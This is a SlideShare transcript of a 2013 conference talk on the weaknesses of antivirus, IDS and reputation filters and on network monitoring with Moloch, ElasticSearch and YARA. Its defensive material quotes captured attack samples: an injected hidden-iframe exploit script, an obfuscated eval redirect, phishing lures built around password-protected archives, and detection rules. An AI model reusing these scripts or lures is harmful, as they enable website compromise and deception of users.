Your SlideShare is downloading. ×
whats wrong with modern security tools and other blurps
Upcoming SlideShare
Loading in...5

Thanks for flagging this SlideShare!

Oops! An error has occurred.

Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

whats wrong with modern security tools and other blurps


Published on

a talk we gave at g0s conference in delhi

a talk we gave at g0s conference in delhi

Published in: Technology

1 Like
  • Be the first to comment

No Downloads
Total Views
On Slideshare
From Embeds
Number of Embeds
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

No notes for slide
  • Here we see CP EP message that Worm.Win32.Vobfus.djek was found. In fact it's false positive: CP deleted component of SAP GUI that lead to problems with export to excel for some SAP users.
    It should be noted that FP happens not so often as false negatives (FN), but usually they are much more visible because interrupt company's normal operations.
    Couple years ago we have a really big problem with gas stations. In that issue McAfee decided that component of gas station automation system is malware – the operation of several hundreds gas stations was halted till we investigate what was going on and fix this issue. That case lead us to the need to test all anti-virus updates before deployment. Of course we had to do this cost-effectively, so we were not able to deploy anti-virus updates more often then once a week. If you remember we have thousands of malware strains a day, so weekly updates have nothing with security.
  • Antivirus could be however used as an efficient fuck up indicatior. By this you can see how much you missed last year. :)
  • Here we have another example: CP Anti-bot (let's think about this as IDS) decided that user that is buying plane tickets from Aeroflot is in botnet and Aeroflot official site is it's C&C
  • Here we have another example: CP Anti-bot (let's think about this as IDS) decided that user that is buying plane tickets from Aeroflot is in botnet and Aeroflot official site is it's C&C
  • <number>
  • <number>
  • <number>
  • Systematic approach is essential. The specifics of network traffic is, if you don't preserve any evidence at the time when the incident takes place, you'll have nothing to look at later.
  • Transcript

    • 1. Why there is no Silver Bullet Whats Wrong with modern security tools: Exploring (in)accuracy and (in)correctness of modern network defense products GroundZero 2013 V. Kropotov; F. Yarochkin; V. Chetvertakov
    • 2. About speakers ● ● ● Our interests are studying malicious behavior on the network traffic We get greater visibility of on-going activities by monitoring network traffic in Russia and Taiwan We are very interested in expanding So if you have pcaps to share, talk to us :-D @fygrave @vbkropotov @sinitros89
    • 3. Agenda (PT1) ● Security Threats Landscape (intro) ● AV Trolls ● NetSec Trolls ● Combo Trolls ● What else could go wrong ;) ● Conclusion
    • 4. We work together as a research team Today's two presentation topics are connected. The second presentation will be a logical continuation of the this talk
    • 5. Security Threats Landscape
    • 6. Traffic drives cybercrime economy ● You can learn quite abit about primary victims by simply reading thematic forums :) Traff Pricing Source: A botnet load selling portal
    • 7. How to get traff ● Web servers compromise (most common) ● DNS servers or domain names hijacked (add examples from ● ● Banner campaign (adserver/openx compromise. (swiss-cheese ;)) Other infrastructure compromised. Example: memcache poisoning
    • 8. Primary victims ● About 40 000 000 Internet users in Russia According our stats: ● For every 10 000 hosts in Russia ● 500 hosts redirected to landing page every week ● 25-50 hosts with typical protection scheme (NAT, proxy with antivirus, vendor supplied reputation lists, etc.) are COMPROMISED
    • 9. Malicious Campaigns In 2013
    • 10. News/Media outlets are very popular this year Domain Resource type Campaign dates unique hosts per day News – official gov publisher news Autumn 2013 ~ 790 000 Winter 2013 – Autumn 2013 ~ 590 000 news Spring 2013 - Autumn 2013 ~ 490 000 news Spring 2013 - Autumn 2013 ~ 330 000 news Summer 2013 ~ 315 000 news Winter 2013 – Summer 2013 ~ 170 000 news Summer 2013 ~ 170 000 news Spring 2013 - Autumn 2013 ~ 140 000
    • 11. Video, mail, regional gov – you choose...! Domain Resource type When seen unique hosts per day Summer 2013 - Autumn 2013 (malvertising?!) Alexa N 3 Public email, search engine Winter 2013 Alexa N 33 TV news Winter 2013 ~ 1 050 000 TV Autumn 2013 ~ 250 000 Moscow gov portal Winter 2013 – Spring 2013 ~150 000 Accountants Spring 2013 - Autumn 2013 ~65 000 Finance (Import/Explort) Summer 2013 - Autumn 2013 ~38 000
    • 12. Oops, a regional GOV resource, July 2013 <script src="">
    • 13. So you have your exploit crawling framework? - can it move the mouse too... :) <script src=""> ● ● res='';var astatf = 0; ● document.write("<head></head><b><div id='accountil'></div></b>"); ● document.onmousemove=jsstatic; ● function jsstatic() { if (astatf == 0) { astatf++; text = "<iframe src='http://"+res+"/bashimme/2' width='7' height='12' style='position: absolute; left: -1000px; top: -1000px; z-index: 1;'></iframe>"; ● document.getElementById("accountil").innerHTML = text }} ● </script>
    • 14. Meet the exploit-serving BING
    • 15. dns abuse of a legit domain ● domain: SCHOOLOPROS.RU ● nserver: ● nserver: ● state: REGISTERED, DELEGATED, VERIFIED ● org: LLC "GKShP" ● registrar: ● admin-contact: ● created: ● paid-till: ● free-date: RU-CENTER-REG-RIPN 2010.01.25 2014.01.25 2014.02.25I
    • 16. How are you going to blacklist this?! → ● ● → → → Domain Name:LAPACHKA.INFO Created On:05-Jun-2013 20:31:33 UTC Last Updated On:20-Aug-2013 07:36:23 UTC Expiration Date:05-Jun-2014 20:31:33 UTC Sponsoring Registrar:DomainContext Inc. (R524-LRMS)
    • 17. File extension based filters?! ← Win32 Executable (payload) Domain Record last updated at 2013-03-11 09:27:18 Record created on 3/10/2005 Record expired on 03/10/2014 name:(ShenZhen Johns Property Accessory Supply Co.,LTD) mail:( +86.75526919616 +86.75526919856 ShenZhen Johns Property Accessory Supply Co.,LTD <object width="640" height="60" classid="clsid:D27CDB6E-AE6D-11cf-96B8-4 src="" width="640" Billing Contactor: ShenZhenShi ShenNanDaDao1021 Hao XiNianZhongXin 12A03 SHENZHEN Guangdong, 18 CN 518040
    • 18. So how fast are Security Vendors with new signatures?! ● AntiVirus Vendors – Hours..Days ● Network Proxy Filtering - Days..Weeks ● Other network security – Days..Weeks..Months ..?
    • 19. Updates are dangerous too. This kills an executable from a legit SAP installation 20
    • 20. so.. the FUI (Fuck up indicators) ● Antivirus == damn good Fuck Up indicator of your daily monitoring work. If you see ex. CVE-2012-0158 the e-mail, received 1 year ago - you see you fucked it up a year ago, but now must be able to react. :) 25.10.2012 18:01 Test_host01 Exploit-CVE2012-0158.f!rtf Undetermined clean error, deleted successfully C:Documents and SettingsUser02Desktop2readModern energy in China.msg68.OLE 25.10.2012 18:01 Test_host01 Exploit-CVE2012-0158.f!rtf Undetermined clean error, deleted successfully C:Documents and SettingsUser02Desktop2readUS energy.msg68.OLE 21
    • 21. Email as attack vector.. are you a target? APT? Non-targeted ● ● ● Single exploit Content of the mail is accurate to context Specific payload behavior (stats) ● ● Mass-mailed Often no exploit used (.exe in attach)
    • 22. APT through email.. An RTF document (CVE-2012-0158 - "MSCOMCTL.OCX RCE Vulnerability." ) Payload writes a dll file Recent build date (2013) Autorun for persistence Calls back to C2 server group Suspicious user Agents: Mozilla/4.0 (compatible; MSIE; Windows NT 5.0.3) Mozilla/4.0 (compatible; MSIE 5.0.2) Mozilla/4.0 (compatible)
    • 23. Owning a network.. ● Vulnerabilities seen in use through this attack vector: MS Office Adobe Acrobat reader CVE-2013-0640 CVE-2012-0775 Adobe flash player CVE-2012-1535 CVE-2012-0158 CVE-2011-1269 CVE-2010-3333 CVE-2009-3129 Java CVE-2013-0422 CVE-2012-1723 CVE-2012-5076
    • 24. But... ● Human stupidity is exploited more than ever..
    • 25. Email with a password protected archive or a document ● ● ● Password protected archives bypass AV checks, firewall/WAF/.. detection No exploit. Executable File is masked as document (icon, extension) Message contents motivates user to open the attachment (social engineering)
    • 26. Lets look at some examples Добрый день, По результатам проверки, у нашей фирмы обнаружился долг перед Вами за январь на сумму 9540 рубл. Наш главбух составила акт сверки и просит подписать данный акт и выслать его скан. А также спрашивает, что лучше написать при переводе средств. ______________________________________________________________ _______________________ С уважением, комерческий директор ОАО "М-ТОРГ" Маркина Ольга Алексеевна ps. акт сверки в приложении к письму, пароль к архив 111
    • 27. Examples (cont...) Добрый день, По результатам аудиторской проверки, у нашей фирмы обнаружился долг пере Вами за декабрь 2012г. в сумме 49540 рубл. Наш главбух составила акт сверки и просит подписать данный акт и выслать его скан. А также спрашивает, что лучше написать при переводе средств. _______________________________________________________________________ ________ С уважением, бухгалтер ЗАО "МСК" Калинина Вера Владимировна ps. акт сверки в приложении к письму, пароль к архиву 123 Good afternoon, According to the results of the audit, our firm will transfer the debt to you for? December 2012. in the sum of 49540 rubles. Our chief accountant make an act of reconciliation and asked to sign the act and send it’s scan. ______________________________________________________________________________ Sincerely, Accountant of "MSK"? Vera V. Kalinina P.s. statement attached to the letter, the password for the archive 123
    • 28. .. and inside archive :) Unpacked file
    • 29. Another example Subject: British Airways E-ticket receipts e-ticket receipt Booking reference: 05V9363845 Dear, Thank you for booking with British Airways. Ticket Type: e-ticket This is your e-ticket receipt. Your ticket is held in our systems, you will not receive a paper ticket for your booking. Your itinerary is attached (Internet Exlplorer/Mozilla Firefox file) Yours sincerely, British Airways Customer Services British Airways may monitor email traffic data and also the content of emails, where permitted by law, for the purposes of security and staff training and in order to prevent or detect unauthorised use of the British Airways email system. British Airways Plc is a public limited company registered in England and Wales. Registered number: 89510471. Registered office: Waterside, PO Box 365, Harmondsworth, West Drayton, Middlesex, England, UB7 0GB. How to contact us Although we are unable to respond to individual replies to this email we have a comprehensive section that may help you if you have a question about your booking or travelling with British Airways. If you require further assistance you may contact us If you have received this email in error This is a confidential email intended only for the British Airways Customer appearing as the addressee. If you are not the intended recipient please delete this email and inform the snder as soon as possible. Please note that any copying, distribution or other action taken or omitted to be taken in reliance upon it is prohibited and may be unlawful.
    • 30. Another variation: email that contains masked links to malicious pages •No attachment. The message text is html/text points to the same resource •All links are 'masked' to be pointing to legit links •The same attreactive text of the message
    • 31. Encoded redirect.. <body> <h1><b>Please wait. You will be forwarded.. . </h1></b> <h4>Internet Explorer / Mozilla Firefox compatible only</h4><br> <script>ff=String;fff="fromCharCode";ff=ff[fff];zz=3;try{document.body&=5151} catch(gdsgd){v="val";if(document)try{document.body=12;}catch(gdsgsdg) {asd=0;try{}catch(q){asd=1;}if(!asd) {w={a:window}.a;vv="e"+v;}}e=w[vv];if(1){f=new Array(118,96,112,49,60,50,57,58,8,118,96,112,50,60,116,97,113,47,59,9,103,102, 39,116,97,113,47,61,60,116,97,113,48,41,31,121,100,110,97,117,108,99,110,115, 44,108,110,97,97,115,103,111,109,59,34,103,114,116,111,56,47,46,100,111,113, 115,109,44,106,97,45,112,117,57,54,48,55,46,47,101,109,114,116,107,47,107,10 3,110,106,113,47,98,109,108,116,107,110,45,110,104,111,32,59,124);}w=f;s=[];i f(window.document)for(i=2-2;-i+104!=0;i+=1) {j=i;if((031==0x19))if(e)s=s+ff(w[j]+j%zz);}xz=e;if(v)xz(s)}</script> </body> </html>
    • 32. Hot topic for big company, Cyprus Crisis Diana Ayala saw this story on the BBC News website and thought you should see it. ** Cyprus bailout: bank levy passed parliament already! ** Cyprus can amend terms to a bailout deal that has sparked huge public anger.... <> ** BBC Daily E-mail ** Choose the news and sport headlines you want - when you want them, all in one daily e-mail <> ** Disclaimer ** The BBC is not responsible for the content of this e-mail, and anything written in this e-mail does not necessarily reflect the BBC's views or opinions. Please note that neither the e-mail address nor name of the sender have been verified. If you do not wish to receive such e-mails in the future or want to know more about the BBC's Email a Friend service, please read our frequently asked questions by clicking here
    • 33. This message is to notify you that your package has been processed and is on schedule for delivery from ADP. Here are the details of your delivery: Package Type: QTR/YE Reporting Courier: UPS Ground Estimated Time of Arrival: Tusesday, 5:00pm Tracking Number (if one is available for this package): 1Z023R961390411904 Details: Click here to view and/or modify order We will notify you via email if the status of your delivery changes. -------------------------------------------------------------------------------Access these and other valuable tools at o Payroll and Tax Calculators o Order Payroll Supplies, Blank Checks, and more o Submit requests online such as SUI Rate Changes, Schedule Changes, and more o Download Product Documentation, Manuals, and Forms o Download Software Patches and Updates o Access Knowledge Solutions / Frequently Asked Questions o Watch Animated Tours with Guided Input Instructions Thank You, ADP Client Services -------------------------------------------------------------------------------This message and any attachments are intended only for the use of the addressee and may contain information that is privileged and confidential. If the reader of the message is not the intended recipient or an authorized representative of the intended recipient, you are hereby notified that any dissemination of this communication is strictly prohibited. If you have received this communication in error, notify the sender immediately by return email and delete the message and any attachments from your system.
    • 34. What happens if you click..
    • 35. AV logs – useful ;) Antivirus find exploit in cache -> we was attacked -> antivirus saves us! ;-) The exploit can be in cache – AV finds it :)
    • 36. s AV actually removes a forensic trace. PROFFIT :)
    • 37. Incident entry point ● ● Many vendors able to mine their clouds But you need know a starting point for your exploration ...
    • 38. Death of AVs as we know them ● Automatic malicious binaries builders – Unskilful attacker can produce unique binaries with a single click One sig per binary makes you transfer Tbs of data to end-user machines :) A simple solution – move sigs into cloud :-)
    • 39. AV trolls
    • 40. Dr. Web
    • 41. TrendMicro
    • 42. AV behaviour is not new ● EmergingThreats rule, first added 2011-06-27 20:14:35 UTC alert udp $HOME_NET any -> any 53 (msg:"ET CURRENT_EVENTS Large DNS Query possible covert channel"; content:"|01 00 00 01 00 00 00 00 00 00|"; fast_pattern; depth:10; offset:2; dsize:>300; content:!"youtube|03|com|00|"; content:!"sophosxl|03|net|00|"; content:!"|0a|hashserver|02|cs|0a|trendmicro|03|com|00|"; content:!"spamhaus|03|org|00|"; classtype:bad-unknown; sid:2013075; rev:7;)
    • 43. AV trolls ● Date/Time 2011-09-06 17:13:05 MSD ● Tag Name PDF_XFA_Script ● Severity Low ● Target IP Address ● Target Port 9090 ● Source IP Address 10.y.y.y ● SourcePort Name 3201 ● arg ● 10.x.x.x host=
    • 44. VT says nothing? payload in .jar feb 2013 46
    • 45. AV is silent during attack, WHY?
    • 46. Just because malware obfuscation service is available ● 70$ per month, is it OK, * * Max Goncharov Talk at PHDaysIII
    • 47. So how do you know when to reencrypt?
    • 48. Example, Aug 2013 <object height="0" align="left" width="0" type="text/html" data=" b=cc119b1"></object>
    • 49. Attack in Fiddler
    • 50. August 2013
    • 51. Detection During the Time October 2013 53
    • 52. Side effects of heuristic detection August 2013 October 2013 54
    • 53. 55
    • 54. AV claims: VT is Not Fair?? 23.01.13 19:56 Detected: Trojan-Spy.Win32.Zbot.aymr C:/Documents and Settings/user1/Application Data/ Sun/Java/Deployment/cache/6.0/27/4169865b-641d53c9/UPX 23.01.13 19:56 Detected: C:/Documents and Settings/user1/Application Data/ Sun/Java/Deployment/cache/6.0/48/38388f30-4a676b87/bpac/b.class 23.01.13 19:56 Detected: Trojan-Downloader.Java.OpenConnection.cs C:/Documents and Settings/user1/Application Data/Sun/Java/Deployment/cache/6.0/48/38388f30-4a676b87/ot/pizdi.class 23.01.13 19:58 Detected: HEUR:Exploit.Java.CVE-2013-0422.gen C:/Documents and Settings/user1/Local Settings/ Temp/jar_cache3538799837370652468.tmp 56
    • 55. Yes. You have been compromised one week before... 1/14/2013 18:57 pictures/demos/OAggq application/x-javaarchive 1/14/2013 18:57 application/x-javaarchive 1/14/2013 18:57 http://loretaa0application/ stream cert=561&usage=392&watch=4 &proxy=49&ipod=171&shim=34 4&pets=433&icons=252&staff=6 21&refer=345 * reproduced on the stand, to estimate Vendor signatures updated time 57
    • 56. Avs are still useful.. lets look at some examples ● Bootkits ● Rootkits ● Others 58
    • 57. Appropriate AV use 30.10.2013 file infected. Undetermined clean 5:46 error, deleted successfully Generic.dx! 4C9C664321AD c:Total Commander 7.00 PP 0.50 .exeFITW.EXE 30.10.2013 file infected. Undetermined clean 6:37 error, deleted successfully Generic.dx! 4C9C664321AD c:Total Commander 7.00 PP 0.50 .exeFITW.EXE 30.10.2013 file infected. Undetermined clean 6:44 error, deleted successfully Generic.dx! 4C9C664321AD c:Total Commander 7.00 PP 0.50 .exeFITW.EXE 30.10.2013 file infected. Undetermined clean 6:50 error, deleted successfully Generic.dx! 4C9C664321AD c:Total Commander 7.00 PP 0.50 .exeFITW.EXE 30.10.2013 file infected. Undetermined clean 6:57 error, deleted successfully Generic.dx! 4C9C664321AD c:Total Commander 7.00 PP 0.50 .exeFITW.EXE 30.10.2013 file infected. Undetermined clean 6:58 error, deleted successfully Generic.dx! 4C9C664321AD c:Total Commander 7.00 PP 0.50 .exeFITW.EXE 30.10.2013 file infected. Undetermined clean 7:01 error, deleted successfully Generic.dx! 4C9C664321AD c:Total Commander 7.00 PP 0.50 .exeFITW.EXE 30.10.2013 file infected. Undetermined clean 7:04 error, deleted successfully Generic.dx! 4C9C664321AD c:Total Commander 7.00 PP 0.50 .exeFITW.EXE 30.10.2013 file infected. Undetermined clean 7:11 error, deleted successfully Generic.dx! 4C9C664321AD c:Total Commander 7.00 PP 0.50 .exeFITW.EXE 59
    • 58. Appropriate AV use Cases, Email under attack, exe usually not targeted Event Generated Time (UTC) Threat Name Event Category Threat Type Threat Target File Path 10/23/13 12:03:54 AM PWSZbot-FIU! 059FF890153F Malware detected Trojan KURUOGLU 5 Enquiry.zipKURUO GLU 5 Enquiry..exe 10/25/13 4:55:37 AM PWSZbot-FIU! BC53FFF6285 D Malware detected Trojan 6583.zipInfo_Invoic 60
    • 59. Appropriate AV use Cases, Office documents ● ● ● Event Generated Time (UTC): 7/8/13 12:25:46 PM Threat Source User Name: "Sports .ru" <> Threat Target File Прогнозы на Евро 2012 от экстрасенсов и аналитиков.doc* ● Event Category: Malware detected ● Threat Name: Exploit-CVE2012-0158.b!rtf ● Threat Type: Virus ● Action Taken: Deleted * Euro 2012 forecast from ... doc 61
    • 60. Appropriate AV use Cases, The same file was deleted, but many times Threat Target File Path Threat Name Event Received Action Time (UTC) Taken RDN/Generic.dx! cmr 10/27/13 9:56:54 PM Deleted C:Documents and SettingstestuserApplication Datasvchost.exe RDN/Generic.dx! cmr 10/28/13 10:05:06 PM Deleted C:Documents and SettingstestuserApplication Datasvchost.exe RDN/Generic.dx! cmr 10/29/13 9:54:37 PM Deleted C:Documents and SettingstestuserApplication Datasvchost.exe RDN/Generic.dx! cmr 10/30/13 5:23:49 AM Deleted C:Documents and SettingstestuserApplication Datasvchost.exe RDN/Generic.dx! cmr 10/30/13 9:42:07 PM Deleted C:Documents and SettingstestuserApplication Datasvchost.exe RDN/Generic.dx! cmr 10/31/13 9:55:37 PM Deleted 62 C:Documents and SettingstestuserApplication
    • 61. Network Security Tools LoLs and Trolls :)
    • 62. Vendor FP 64
    • 63. Vendor FP 65
    • 64. DNS Traffic Analysis.. What you can do with this event?
    • 65. “REP.xlfkl”, is it dangerous?
    • 66. Where is the booby trap
    • 67. Unfortunately it is HERE
    • 68. Yep, vendor were able to detect APT
    • 69. Appropriate Network tools use ● Pray ● Detect as you can ● Check, maybe your vendor supplied tool detected it somehow, and you can use this information, but next time Date/Time 2012-05-15 11:50:16 Tag Name HTTP_Post Severity Low Observance Type Intrusion Detection Target IP Address :server :URL /rep/cim.php algorithm-id 3000003 Packet DestinationPort 80 71
    • 70. Oh, yepp, Web proxies
    • 71. Reputation filters
    • 72. Exploit Kits and TDS now personal? ● hxxp:// %3Fquery%3D%25D0%25B0%25D0%25BA%25D1%2583%25D0%25BB %25D0%25B8%25D0%25B9%2B%25D1%2585%25D1%2580%25D1%258F%25D1%2589%2B %25D0%25BE%25D1%2582%25D0%25B7%25D1%258B %25D0%25B2%25D1%258B&sw=1280&sh=1024&cw=1189&ch=879&fl=0&nc=0.2519320439819137 --> ● 80 GET ● hxxp:// ● Personal Network Storage, Internet Services Wed, 23 Oct 2013 12:20:25 GMT
    • 73. Exploit Kits and TDS now personal? ● hxxp:// --> ● GET ● Tue, 08 Oct 2013 06:58:32 GMT ● hxxp:// Personal Network Storage, Internet Services
    • 74. May be forums? ● ● 80 GET hxxp:// viewforum.php?b=ca3990d text/html ● Tue, 15 Oct 2013 06:51:39 GMT ● Forum/Bulletin Boards
    • 75. Or Internet Services ● ● hxxp:// /viewforum.php?b=75c3d28text/html ● Wed, 16 Oct 2013 11:24:53 GMT ● Internet Services
    • 76. Oops, innovate search engine? ● ● %2Fsearch%3Fquery%3D %25D1%2586%25D0%25B5%25D1%2580%25D0%25BE %25D0%25B1%25D1%2580%25D0%25B0%25D0%25B7%25D0%25B5%2 5D0%25BB%25D0%25B8%25D0%25BD%2B%25D0%25BF %25D1%2580%25D0%25BE %25D0%25B8%25D0%25B7%25D0%25B2%25D0%25BE %25D0%25B4%25D0%25B8%25D1%2582%25D0%25B5%25D0%25BB %25D1%258C& %2Foe4500drajverad555%2Fcerobrazelin_instrukciya_po_primeneniyu_cen a.html ● Fri, 18 Oct 2013 08:39:17 GMT ● Search Engines, Internet Services domain: registrar: created: ● ● TANYAUAA90.RU REGRU-REG-RIPN 2013.10.17
    • 77. Or Even Wiki page ● ?in=55530 ● Tue, 08 Oct 2013 12:15:03 GMT ● Blogs/Wiki
    • 78. Reputation filters won't help here ● On available Environments less than 10% of malicious resources categorized as malicious bu vendor supplied reputation filters during October 2013
    • 79. Reputation filters won't help here URL on the same site: Site: 81
    • 80. Yep, they are all legit!
    • 81. Some of them older than 10 years ● ● Over 500 compromised domains in 24 hours Domain rotation once per minute (3 minutes in the other incident)
    • 82. What do you know about more sophisticated bots?
    • 83. Proliferation of malware that uses blogging/social networks as c2 Explore header anomaly GET / …. User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: Connection: Cache-Control: Pragma:
    • 84. 88 Elirks: v01  Reported by Dell/Secureworks as Elirks
    • 85. 89 Elirks, v02! uzrxZwSGHxowPMGZAaj4I50 73342! uzrxZwSGHxowPMGZAaj4I50
    • 86. 90 Campaigns can be linked by the same IP sources to access web Managed by the same IP addresses (easy to cross-correlate)
    • 87. Ready to catch them?
    • 88. Scalable Tools for Advanced Network Monitoring Discover malware operations with your bare hands V. Kropotov; F. Yarochkin
    • 89. Gaand de Dhakkan FOR YOUR NETWORK :)
    • 90. Agenda The battle field: network traff 0.5% of your traffic is what you really want.. now what..? Off-shelf tools and their problems Automation of manual work. Alot of automation Examples and Case studies Conclusions
    • 91. Disclaimer We'll mainly talk about our experience with scalable network monitoring. Some of the tools we are about to mention, we have developed ourselves. Other tools are done by other great guys and we are heavy users of those.
    • 92. Monitoring VS Protection ● Strange, but true Efficiency(Monitoring)~O(1/ Efficiency(Protection))
    • 93. Passive detection VS Active protection ● False positives for these methods ● The cost of the time lag with passive detection ● The cost of DoS from Active protection
    • 94. Incident Mitigation VS Investigation ● If your preparation is not enough Efficiency(Mitigation)~ O(1/ Efficiency(Investigation)) ● If you prepared, almost all steps of Investigation you can do asynchronously
    • 95. Not typical approaches ● ● ● Snapshotting DNS Analysis and traffic Redirection (Internal sinkholing) Sandboxing
    • 96. Systematic Defense ● ● ● What to look at How to look at your data Rinse and repeat ;-) How to prepare well for an attack (you can't walk into the same river twice, so 'preserve' the flow) 100
    • 97. Old skool network analysis :) Snort is handy ● Single node ● Patterns specified in rule files ● You get notified when alert occurs ● You can specify some auto-reactive rules to act real-time
    • 98. What's missing ● ● ● ability to capture from multiple nodes and merge the results (me → snortnet, 1999 :p) Your snort (or any other IDS) will miss stuff that is not in signatures, now what .. Running experimental analytics, FP analysis on IDS results is very difficult because there is no 'raw data'
    • 99. Solution: Store everything!? :-D Just like ||SA! ;­)
    • 100. Now made possible.. We need a more than one node to store data We need some sort of data management plan And .. A convenient way of finding things.. quick!
    • 101. ElasticSearch ● really awesome, all my data lives here ;)
    • 102. ES ● ● Multiple Indices, easy cross-correlation, data HA, Lucene-based search capability Design your data flow smartly (simple things: indices are fast to remove, individual items – are not, store metadata, keep raw data where it was captured)
    • 103. So what we store ● Our feeds into ES: – Honeypot logs – Network monitoring with eyeipflow scriptlets – Network data from Moloch – DNS traff analysis – User-Agent/IP/time maps
    • 104. What to look at.... ● ● Suspicious agents – works nicely (and easy to implement with snort, surricata, etc) Time-series traffic analysis Emerging Threats has a large number of APT related sigs. Take-and-modify :)
    • 105. Not only payload used as transition (covert channel in URL) ● GET hxxp:// os=windows %207&browser=msie&browserver=8.0& adobe%20reader=10.1&adobe %20flash=11.7.700.169&windows%20media %20player=12.0.7601.17514&java=0&silverli ght=0
    • 106. Honeypots ● Service-simulation honeypots. Collect plenty tracers on random network opportunists. – Ex: kippo (modified to keep trace-log in ES):
    • 107. Nice collection of Romanian tools over the years ;-)
    • 108. eyeipflow ● ● ● Libwireshark + python + yara. Capable of processing pcap files that you collect elsewhere. Libsniff-ng is good for high-volume traff Store meta-data on various protocol transactions: HTTP, SMTP, DNS ..
    • 109. And then we discovered Moloch :)
    • 110. Moloch Uses libnids for packet reassembly Multi-protocol Supports yara Actively developed Supports plugin architecture Custom taggers are extremely useful
    • 111. Moloch with plugins (on DRUGS!) Moloch is developed by a team at AOL and released open-source at
    • 112. Introduction to writing... moloch plugins
    • 113. Introduction to writing moloch plugins ● moloch_plugin_init() { moloch_plugin_register(“leet”, FALSE); /* register callbacks */ moloch_plugin_set_cb(“leet”, A, B, C, D, E, F, H, I } /* the rest of your init stuff */ }
    • 114. Moloch plugins (pt 2) ● Callbacks: – A) MolochPluginIpFunc ipFunc, – B) MolochPluginUdpFunc udpFunc, – C) MolochPluginTcpFunc tcpFunc, – D) MolochPluginSaveFunc preSaveFunc, – E) MolochPluginSaveFunc saveFunc, – F) MolochPluginNewFunc newFunc, – G) MolochPluginExitFunc – H) MolochPluginReloadFunc reloadFunc exitFunc,
    • 115. And even more ● moloch_plugins_set_http_cb( …
    • 116. Redundancy Properties in the malware distribution and postinfection activities campaigns
    • 117. Passive DNS data is used to identify DGA malware C2 servers
    • 118. Passive HTTP monitoring and anomaly detection Wavelet-based analysis
    • 119. Proxy logs at glance example 129
    • 120. User-agent vulnerable clients monitoring 130
    • 121. User-agent request example, Why legit Win8 is here? 131
    • 122. Silent Debugging?? Host, OS, more than other 20 params.. ● Local host name HMS0277 X-Client/AppexWin8 X-Client-AppVersion/ 09.08.2013 8:13 80 GET ● MI=FED21F3944A344D38E5C61C00AC78AC3&AP=3&LV=1.2 .0.135&OS=W8&TE=1&TV=ts20130613214629143%7Ctz240%7Ctmru-ru %7Ctc1%7Cdr8%252C0%7Caa1058%252F1%252C0%252F0 %7CdaHMS0277%7CorRU %7Cwa1%7Cde4%7Cad1%252C0%7Ccd9%252C0%7Cdd0% 7Ctp20130505%7Cccrow %7Cdc1%7Cpd1%252C0%7Cto4%7Clc1%252C0%252C0%25 2C0%7Cdb1 132
    • 123. User-agent anomaly monitoring 133
    • 124. Proxy logs processing The ideas see the code example in our git 1. Take predefined patterns for log fields and calculate log line score. Depending on score write down line into colored (EB,B,W,EW,Gr) list for further investigation (--list) 2. Find all lines with field matched specified pattern – smth. like egrep+cutawk (--match) 134
    • 125. General course of work (list search) 135
    • 126. General course of work (match search) 136
    • 127. The scenario 1. --list ==> Scored rows with signatures ==> Users in troubles 2. --match ==> Find all history about users in troubles – before and after signature ==> Further manual investigation 3. Update signatures if need to 137
    • 128. Yara - based Easy to integrate with your scripts Integration with a proxy server is possible via icap yara plugin: (inline analysis) Raw network traffic monitoring project (and http/DNS indexing): (passive HTTP)
    • 129. Detecting typical fields inside payload ● For example (YARA): Rule SploitMatcher { strings: $match01 = "com.class'" $match02 = "edu.class" $match03 = "net.class" $match04 = “security.class” condition: all of them } Problem: you can't deobfuscate javascript with Yara. But you can block the payload, Which would be fetched by the javascript, thus break the exploitation chain. 139
    • 130. Or you can roll your own.. personal crawler with yara and jsonunpack :) see the code example in our git 140
    • 131. Other cool YARA tools Moloch Yara mail https:// Yara pcap https://
    • 132. What we will see in 2014 ● ● ● ● ● Android based platforms would be one of the primary targets Vendor supplied reputation filters won't be so effective, due the compromised legit domains pool size Commercially oriented cyber criminals will use non standard ports, abused hosting, DNS servers and short time frames as now in Russia. Cyber criminals will act outside the country of their residence (it's better for Russia, but only for Russia...) Defenders will use more and more own signatures, rules, tools and pills to survive.
    • 133. Forecast for 2014: Roll your own.. To survive in this dangerous environment. 143
    • 134. Conclusion We've seen interesting techniques We've seen that the 'low-hanging fruit' is not so low anymore :)
    • 135. Now it is the time for questions And throwing your shoes ;-)
    • 136. Collaboration via hpfeeds
    • 137. Tools  Developed by our lab: − − DNSLyzer −  Eyepkflow HPFeeds Broker – no public release 3rd party tools we use: − Redis, ElasticSearch, Moloch, Hpfeeds library, RabbitMQ, zmap
    • 138. Data Acquisition options - We have a software agent (unix(freeBSD, linux, Solaris) platform compatible) - We can process pcap files. - We can deploy processing platform at your facility (we need remote access) - We have a collector device (1Gb network interface)